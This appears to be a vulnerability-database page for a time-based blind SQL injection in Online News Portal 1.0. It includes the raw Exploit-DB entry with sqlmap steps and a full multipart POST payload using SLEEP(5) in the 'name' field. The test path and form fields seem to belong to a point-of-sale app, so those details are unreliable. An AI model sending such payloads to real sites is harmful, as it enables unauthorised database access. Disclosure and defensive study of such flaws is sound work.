Online News Portal 1.0 - 'name' SQL Injection

vendor:

Online News Portal

by:

Richard Jones

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Online News Portal

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:online_news_portal:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

2021

Online News Portal 1.0 – ‘name’ SQL Injection

This exploit is a time-based blind SQL injection vulnerability in the 'name' parameter of the 'addproduct.php' page of the Online News Portal 1.0 software. An attacker can send a maliciously crafted request to the server, which will cause the server to pause for a certain amount of time, allowing the attacker to infer the existence of the vulnerability.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Online News Portal 1.0 - 'name' SQL Injection
# Exploit Author: Richard Jones
# Date: 2021-03-18
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

# Steps
# Add a new product: http://127.0.0.1/pos_inv/supplier/addproduct.php
# Save request in BurpSuite
# Run saved request with sqlmap -r sql.txt


---
Parameter: MULTIPART name ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: -----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="name"

aasd' AND (SELECT 1775 FROM (SELECT(SLEEP(5)))Jpba) AND 'EaFY'='EaFY
-----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="category"

1
-----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="price"

asd
-----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="qty"

asd
-----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------15280280330873390203691218429--
---